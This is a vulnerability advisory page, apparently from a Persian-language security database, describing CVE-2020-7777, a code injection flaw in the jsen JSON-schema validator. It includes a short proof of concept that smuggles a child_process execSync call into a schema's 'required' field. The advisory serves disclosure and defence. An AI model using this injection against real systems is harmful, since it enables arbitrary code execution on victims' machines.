همهٔ گزارش‌ها
زیاد

Code Injection in jsen

متن اصلی

نسخه‌های متأثر

نسخه‌های متأثر
<= 0.6.6
نسخهٔ اصلاح‌شده
اعلام نشده

بهره‌برداری

CVE-2020-7777

احتمال بهره‌برداری در ۳۰ روز آینده: 2.11%

FIRST EPSS · ۱۴۰۵/۰۸/۲۸

شرح آسیب‌پذیری

This affects all versions of package jsen. If an attacker can control the schema file, it could run arbitrary JavaScript code on the victim machine. In the module description and README file there is no mention about the risks of untrusted schema files, so it is assumed that this is applicable. In particular the required field of the schema is not properly sanitized. The resulting string that is build based on the schema definition is then passed to a Function.apply();, leading to an Arbitrary Code Execution.

PoC
const jsen = require('jsen');
let schema = JSON.parse(
{ &quot;type&quot;: &quot;object&quot;, &quot;properties&quot;: { &quot;username&quot;: { &quot;type&quot;: &quot;string&quot; } }, &quot;required&quot;: [&quot;\\&quot;+process.mainModule.require(\&#39;child_process\&#39;).execSync(\&#39;touch malicious\&#39;)+\\&quot;&quot;] }
);

const validate = jsen(schema); validate({});

پیوندها